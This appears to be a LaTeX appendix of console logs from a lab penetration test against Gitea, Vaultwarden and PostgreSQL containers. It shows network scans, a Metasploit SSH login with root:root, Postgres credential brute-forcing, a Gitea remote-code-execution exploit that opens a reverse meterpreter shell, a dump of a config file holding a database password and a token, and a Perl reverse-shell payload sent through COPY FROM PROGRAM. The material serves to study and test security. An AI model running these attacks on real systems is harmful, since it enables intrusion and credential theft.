Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://gitea.vm.local/
HTTP/1.1 200 OK
Server: nginx/1.27.4
Date: Sat, 19 Apr 2025 11:35:10 GMT
Connection: keep-alive
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{curl -kL gitea.vm.local} on the base system (client); empty lines and repeating section omitted for brevity, shown with an elipsis instead}
\label{log:base:curl_L_gitea}
\begin{minted}[breaklines,obeytabs=true,tabsize=2,breakanywhere,fontsize=\footnotesize]{html}
<!DOCTYPE html>
<html lang="en-US" data-theme="gitea-auto">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9sb2NhbGhvc3Q6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19">
... meta tags ...
<link rel="icon" href="/assets/img/favicon.svg" type="image/svg+xml">
<link rel="alternate icon" href="/assets/img/favicon.png" type="image/png">
<script>
window.addEventListener('error', function(e) {window._globalHandlerErrors=window._globalHandlerErrors||[]; window._globalHandlerErrors.push(e);});
window.addEventListener('unhandledrejection', function(e) {window._globalHandlerErrors=window._globalHandlerErrors||[]; window._globalHandlerErrors.push(e);});
window.config = {
appUrl: 'http:\/\/localhost:3000\/',
appSubUrl: '',
assetVersionEncoded: encodeURIComponent('1.23.7'),
assetUrlPrefix: '\/assets',
runModeIsProd: true ,
customEmojis: {...},
csrfToken: '...',
pageData: {},
notificationSettings: {"EventSourceUpdateTime":10000,"MaxTimeout":60000,"MinTimeout":10000,"TimeoutStep":10000},
enableTimeTracking: true ,
mermaidMaxSourceCharacters: 5000 ,
i18n: {
...
},
};
window.config.pageData = window.config.pageData || {};
</script>
<script src="/assets/js/webcomponents.js?v=1.23.7"></script>
<noscript>
<style>
.dropdown:hover > .menu { display: block; }
.ui.secondary.menu .dropdown.item > .menu { margin-top: 0; }
</style>
</noscript>
<meta property="og:title" content="Gitea: Git with a cup of tea">
<meta property="og:type" content="website">
<meta property="og:image" content="/assets/img/logo.png">
<meta property="og:url" content="http://localhost:3000/">
<meta property="og:description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta property="og:site_name" content="Gitea: Git with a cup of tea">
<link rel="stylesheet" href="/assets/css/index.css?v=1.23.7">
<link rel="stylesheet" href="/assets/css/theme-gitea-auto.css?v=1.23.7">
</head>
<body hx-headers='{"x-csrf-token": "-AxjXrZkccvGWZ6ikXDTsMgRNps6MTc0NTA2MjUzNDc0OTU2NTM4MQ"}' hx-swap="outerHTML" hx-ext="morph" hx-push-url="false">
<div class="full height">
<noscript>This website requires JavaScript.</noscript>
<nav id="navbar" aria-label="Navigation Bar">
<div class="navbar-left">
<a class="item" id="navbar-logo" href="/" aria-label="Home">
<img width="30" height="30" src="/assets/img/logo.svg" alt="Logo" aria-hidden="true">
</a>
<div class="ui secondary menu navbar-mobile-right only-mobile">
<button class="item tw-w-auto ui icon mini button tw-p-2 tw-m-0" id="navbar-expand-toggle" aria-label="Navigation Menu"><svg viewBox="0 0 16 16" class="svg octicon-three-bars" aria-hidden="true" width="16" height="16"><path d="..."/></svg></button>
</div>
<a class="item" href="/explore/repos">Explore</a>
<a class="item" target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com">Help</a>
</div>
<div class="navbar-right">
<a class="item" href="/user/sign_up">
<svg viewBox="0 0 16 16" class="svg octicon-person" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Register
</a>
<a class="item" rel="nofollow" href="/user/login?redirect_to=%2f">
<svg viewBox="0 0 16 16" class="svg octicon-sign-in" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Sign In
</a>
</div>
</nav>
<div role="main" aria-label="Home" class="page-content home">
<div class="tw-mb-8 tw-px-8">
<div class="center">
<img class="logo" width="220" height="220" src="/assets/img/logo.svg" alt="Logo">
<div class="hero">
<h1 class="ui icon header title">
Gitea: Git with a cup of tea
</h1>
<h2>A painless, self-hosted Git service</h2>
</div>
</div>
</div>
<div class="ui stackable middle very relaxed page grid">
<div class="eight wide center column">
<h1 class="hero ui icon header">
<svg viewBox="0 0 16 16" class="svg octicon-flame" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Easy to install
</h1>
<p class="large">
Simply <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-binary">run the binary</a> for your platform, ship it with <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea/tree/master/docker">Docker</a>, or get it <a target="_blank" rel="noopener noreferrer" href="https://docs.gitea.com/installation/install-from-package">packaged</a>.
</p>
</div>
<div class="eight wide center column">
<h1 class="hero ui icon header">
<svg viewBox="0 0 16 16" class="svg octicon-device-desktop" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Cross-platform
</h1>
<p class="large">
Gitea runs anywhere <a target="_blank" rel="noopener noreferrer" href="https://go.dev/">Go</a> can compile for: Windows, macOS, Linux, ARM, etc. Choose the one you love!
</p>
</div>
</div>
<div class="ui stackable middle very relaxed page grid">
<div class="eight wide center column">
<h1 class="hero ui icon header">
<svg viewBox="0 0 16 16" class="svg octicon-rocket" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Lightweight
</h1>
<p class="large">
Gitea has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!
</p>
</div>
<div class="eight wide center column">
<h1 class="hero ui icon header">
<svg viewBox="0 0 16 16" class="svg octicon-code" aria-hidden="true" width="16" height="16"><path d="..."/></svg> Open Source
</h1>
<p class="large">
Go get <a target="_blank" rel="noopener noreferrer" href="https://code.gitea.io/gitea">code.gitea.io/gitea</a>! Join us by <a target="_blank" rel="noopener noreferrer" href="https://github.com/go-gitea/gitea">contributing</a> to make this project even better. Don't be shy to be a contributor!
</p>
</div>
</div>
</div>
</div>
<footer class="page-footer" role="group" aria-label="Footer">
<div class="left-links" role="contentinfo" aria-label="About Software">
<a target="_blank" rel="noopener noreferrer" href="https://about.gitea.com">Powered by Gitea</a>
Version:
1.23.7
Page: <strong>18ms</strong>
Template: <strong>5ms</strong>
</div>
<div class="right-links" role="group" aria-label="Links">
<div class="ui dropdown upward">
<span class="flex-text-inline"><svg viewBox="0 0 16 16" class="svg octicon-globe" aria-hidden="true" width="14" height="14"><path d="..."/></svg> English</span>
<div class="menu language-menu">
<a lang="id-ID" data-url="/?lang=id-ID" class="item ">Bahasa Indonesia</a>
<a lang="de-DE" data-url="/?lang=de-DE" class="item ">Deutsch</a>
<a lang="en-US" data-url="/?lang=en-US" class="item selected">English</a>
...
</div>
</div>
<a href="/assets/licenses.txt">Licenses</a>
<a href="/api/swagger">API</a>
</div>
</footer>
<script src="/assets/js/index.js?v=1.23.7" onerror="alert('Failed to load asset files from ' + this.src + '. Please make sure the asset files can be accessed.')"></script>
</body>
</html>
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{msf6 > use auxiliary/scanner/ssh/ssh\_login} on the base system (client)}
\label{log:base:metasploit:ssh_login}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.56.10
msf6 auxiliary(scanner/ssh/ssh_login) > set rport 2222
msf6 auxiliary(scanner/ssh/ssh_login) > set username root
msf6 auxiliary(scanner/ssh/ssh_login) > set password root
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] 192.168.56.10:2222 - Starting bruteforce
[+] 192.168.56.10:2222 - Success: 'root:root' 'uid=0(root) gid=0(root) groups=0(root) Linux 0e6d64e04e9d 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.56.28:34687 -> 192.168.56.10:2222) at 2025-05-12 13:47:23 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{dig gitea} on the base system (vulnerable container via ssh)}
\label{log:base:vuln:dig_gitea}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> gitea
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35068
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;gitea. IN A
;; ANSWER SECTION:
gitea. 600 IN A 172.18.0.4
;; Query time: 0 msec
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
;; WHEN: Mon May 12 18:14:57 UTC 2025
;; MSG SIZE rcvd: 44
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{dig bitwarden} on the base system (vulnerable container via ssh)}
\label{log:base:vuln:dig_bitwarden}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> bitwarden
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 12038
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
;; QUESTION SECTION:
;bitwarden. IN A
;; Query time: 0 msec
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
;; WHEN: Mon May 12 18:15:05 UTC 2025
;; MSG SIZE rcvd: 27
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{dig vaultwarden} on the base system (vulnerable container via ssh)}
\label{log:base:vuln:dig_vaultwarden}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
; <<>> DiG 9.18.30-0ubuntu0.22.04.2-Ubuntu <<>> vaultwarden
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21853
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;vaultwarden. IN A
;; ANSWER SECTION:
vaultwarden. 600 IN A 172.18.0.2
;; Query time: 0 msec
;; SERVER: 127.0.0.11#53(127.0.0.11) (UDP)
;; WHEN: Mon May 12 18:27:21 UTC 2025
;; MSG SIZE rcvd: 56
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{nmap -sS 172.18.0.0/16} on the base system (vulnerable container via ssh)}
\label{log:base:vuln:nmap}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
Starting Nmap 7.80 ( https://nmap.org ) at 2025-05-17 16:31 UTC
Nmap scan report for sandbox (172.18.0.1)
Host is up (0.0000050s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
2222/tcp open EtherNetIP-1
MAC Address: FA:B1:5A:9D:C7:A5 (Unknown)
Nmap scan report for vaultwarden.vagrant_nginx (172.18.0.2)
Host is up (0.0000050s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: BE:9D:68:8A:B6:B6 (Unknown)
Nmap scan report for nginx.vagrant_nginx (172.18.0.3)
Host is up (0.0000050s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
MAC Address: D6:71:74:1E:27:A2 (Unknown)
Nmap scan report for gitea.vagrant_nginx (172.18.0.5)
Host is up (0.0000050s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
MAC Address: 9A:E8:19:FC:FF:25 (Unknown)
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{nmap -sS 172.18.0.0/16} on the hybrid system (vulnerable container via ssh)}
\label{log:hybrid:vuln:nmap}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
Starting Nmap 7.80 ( https://nmap.org ) at 2025-05-18 13:11 UTC
Nmap scan report for postgres (172.18.0.1)
Host is up (0.000012s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
2222/tcp open EtherNetIP-1
5432/tcp open postgresql
MAC Address: 26:54:2A:8A:53:02 (Unknown)
Nmap scan report for nginx.vagrant_internal (172.18.0.2)
Host is up (0.000012s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
MAC Address: CE:E7:60:35:0E:C1 (Unknown)
Nmap scan report for gitea.vagrant_internal (172.18.0.4)
Host is up (0.000012s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
MAC Address: 7E:05:23:CA:55:6D (Unknown)
Nmap scan report for vaultwarden.vagrant_internal (172.18.0.5)
Host is up (0.000012s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http
MAC Address: 12:EB:C9:6D:07:4B (Unknown)
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{Establishing a port forward from a metasploit session; shown on the hybrid system (client), functionaly independent of system}
\label{log:hybrid:meterpreter:fwd}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 > sessions -u 1
msf6 > sessions -i 2
meterpreter > portfwd add -l 5432 -p 5432 -r 172.18.0.1
[*] Forward TCP relay created: (local) :5432 -> (remote) 172.18.0.1:5432
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{metasploit auxiliary/scanner/postgres/postgres\_version module; shown on the hybrid system (client)}
\label{log:hybrid:portfwd:postgres_version}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 auxiliary(server/capture/postgresql) > use auxiliary/scanner/postgres/postgres_version
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/postgres/postgres_version) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 auxiliary(scanner/postgres/postgres_version) > run
[*] 127.0.0.1:5432 Postgres - Version Unknown (Pre-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{metasploit auxiliary/scanner/postgres/postgres\_login module; shown on the hybrid system (client)}
\label{log:hybrid:portfwd:postgres_bruteforce}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 auxiliary(scanner/postgres/postgres_login) > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 auxiliary(scanner/postgres/postgres_login) > set BLANK_PASSWORDS true
BLANK_PASSWORDS => true
msf6 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 127.0.0.1:5432 - LOGIN FAILED: :@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fpostmaster.c L2273 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fpostmaster.c L2273 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fpostmaster.c L2273 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fpostmaster.c L2273 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :password@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fpostmaster.c L2273 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: :admin@template1 (Incorrect: FATAL VFATAL C28000 Mno PostgreSQL user name specified in startup packet Fpostmaster.c L2273 RProcessStartupPacket)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "scott" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:postgres@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "postgres" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L335 Rauth_failed)
[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: FATAL VFATAL C28P01 Mpassword authentication failed for user "admin" Fauth.c L335 Rauth_failed)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 0 credentials were successful.
[*] You can open a Postgres session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{\texttt{nmap -sS 192.168.56.10} on the insecure system (client)}
\label{log:insecure:nmap}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 08:52 EDT
Nmap scan report for gitea.vm.local (192.168.56.10)
Host is up (0.0013s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
2222/tcp open EtherNetIP-1
3000/tcp open ppp
MAC Address: 08:00:27:15:C8:9C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{metasploit exploit/multi/http/gitea\_git\_fetch\_rce module; shown on the insecure system (client)}
\label{log:insecure:gitea_rce}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > set LHOST 192.168.56.20
LHOST => 192.168.56.20
msf6 exploit(multi/http/gitea_git_fetch_rce) > set RHOSTS 192.168.56.10
RHOSTS => 192.168.56.10
msf6 exploit(multi/http/gitea_git_fetch_rce) > set RPORT 3000
RPORT => 3000
msf6 exploit(multi/http/gitea_git_fetch_rce) > set SSL false
SSL => false
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username demo_user
username => demo_user
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password demo_user
password => demo_user
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
[*] Started reverse TCP handler on 192.168.56.20:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.56.20:8080/
[*] Using URL: http://192.168.56.20:8080/6usOy2
[*] Client 192.168.56.10 (curl/7.79.1) requested /6usOy2
[*] Sending payload to 192.168.56.10 (curl/7.79.1)
[*] Sending stage (3045380 bytes) to 192.168.56.10
[*] Meterpreter session 1 opened (192.168.56.20:4444 -> 192.168.56.10:48350) at 2025-05-19 07:35:34 -0400
[*] Command Stager progress - 100.00% done (112/112 bytes)
meterpreter > sysinfo
Computer : 172.18.0.2
OS : (Linux 5.15.0-135-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{The shell of the Gitea Docker container (insecure system); shell commands have been prefixed with a \texttt{\textgreater} for readability, this symbol is not present in the original outputs}
\label{log:insecure:gitea:shell}
\begin{minted}[breaklines,fontsize=\footnotesize,breakanywhere]{shell}
meterpreter > shell
Process 172 created.
Channel 1 created.
> env
USER=git
SHLVL=1
HOME=/data/git
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
LANG=C
PWD=/data/git/repositories/demo_user/wssbr3glpme5a.git
> ls /data
git
gitea
ssh
> ls /data/gitea
attachments
avatars
conf
indexers
jwt
log
queues
repo-archive
repo-avatars
> ls /data/gitea/conf
app.ini
> cat /data/gitea/conf/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
[repository]
ROOT = /data/git/repositories
[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
[repository.upload]
TEMP_PATH = /data/gitea/uploads
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = localhost
SSH_DOMAIN = localhost
HTTP_PORT = 3000
ROOT_URL = https://gitea.vm.local/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = false
LFS_CONTENT_PATH = /data/git/lfs
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = postgres
HOST = postgres:5432
NAME = gitea
USER = gitea
PASSWD = gitea
LOG_SQL = false
...
[log]
MODE = console
LEVEL = info
ROUTER = console
ROOT_PATH = /data/gitea/log
[security]
INSTALL_LOCK = true
SECRET_KEY =
REVERSE_PROXY_LIMIT = 1
REVERSE_PROXY_TRUSTED_PROXIES = *
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NDc2NTQxMTB9.qXWoxugJwfYRPl1mm8pQ_Z1dreWr2A2I4Aol5edV8o4
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
[migrations]
ALLOW_LOCALNETWORKS = true
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{Establishing a metasploit postgres session on the insecure system}
\label{log:insecure:postgres_session}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
meterpreter > resolve postgres
Host resolutions
================
Hostname IP Address
-------- ----------
postgres 172.18.0.1
meterpreter > portfwd add -l 5432 -p 5432 -r 172.18.0.1
[*] Forward TCP relay created: (local) :5432 -> (remote) 172.18.0.1:5432
meterpreter > background
[*] Backgrounding session 1...
msf6 > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 auxiliary(scanner/postgres/postgres_login) > set USERNAME gitea
USERNAME => gitea
msf6 auxiliary(scanner/postgres/postgres_login) > set PASSWORD gitea
PASSWORD => gitea
msf6 auxiliary(scanner/postgres/postgres_login) > set DATABASE gitea
DATABASE => gitea
msf6 auxiliary(scanner/postgres/postgres_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[+] 127.0.0.1:5432 - Login Successful: gitea:gitea@gitea
[*] PostgreSQL session 2 opened (127.0.0.1:45027 -> 127.0.0.1:5432) at 2025-05-19 07:55:46 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Bruteforce completed, 1 credential was successful.
[*] 1 Postgres session was opened successfully.
[*] Auxiliary module execution completed
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{metasploit auxiliary/scanner/postgres/postgres\_version module; shown on the hybrid system (client)}
\label{log:insecure:postgres_exploit_version}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 > use auxiliary/scanner/postgres/postgres_version
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 auxiliary(scanner/postgres/postgres_version) > set SESSION 2
SESSION => 2
msf6 auxiliary(scanner/postgres/postgres_version) > run
[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{metasploit xploit/multi/postgres/postgres\_copy\_from\_program\_cmd\_exec module; shown on the hybrid system (client)}
\label{log:insecure:postgres_exploit_rce}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
[*] Using configured payload cmd/unix/reverse_perl
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set SESSION 2
SESSION => 2
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 192.168.56.20
LHOST => 192.168.56.20msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run
[*] Started reverse TCP handler on 192.168.56.20:4444
[*] : - PostgreSQL 9.6.24 on x86_64-pc-linux-gnu (Ubuntu 9.6.24-10.pgdg22.04+1), compiled by gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0, 64-bit
[*] Exploiting...
[+] 127.0.0.1:5432 - gqBG2W1VfJT dropped successfully
[+] 127.0.0.1:5432 - gqBG2W1VfJT created successfully
[!] 127.0.0.1:5432 - Unable to execute query: COPY "gqBG2W1VfJT" FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.56.20:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};''';
[-] Insufficient permissions, User must be superuser or in pg_read_server_files group
[-] Exploit Failed
\end{minted}
\end{code}
\begin{code}
\captionof{listing}{metasploit uxiliary/admin/postgres/postgres\_sql module; shown on the hybrid system (client)}
\label{log:insecure:postgres_exploit_sql}
\begin{minted}[breaklines,fontsize=\footnotesize]{shell}
msf6 > use auxiliary/admin/postgres/postgres_sql
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
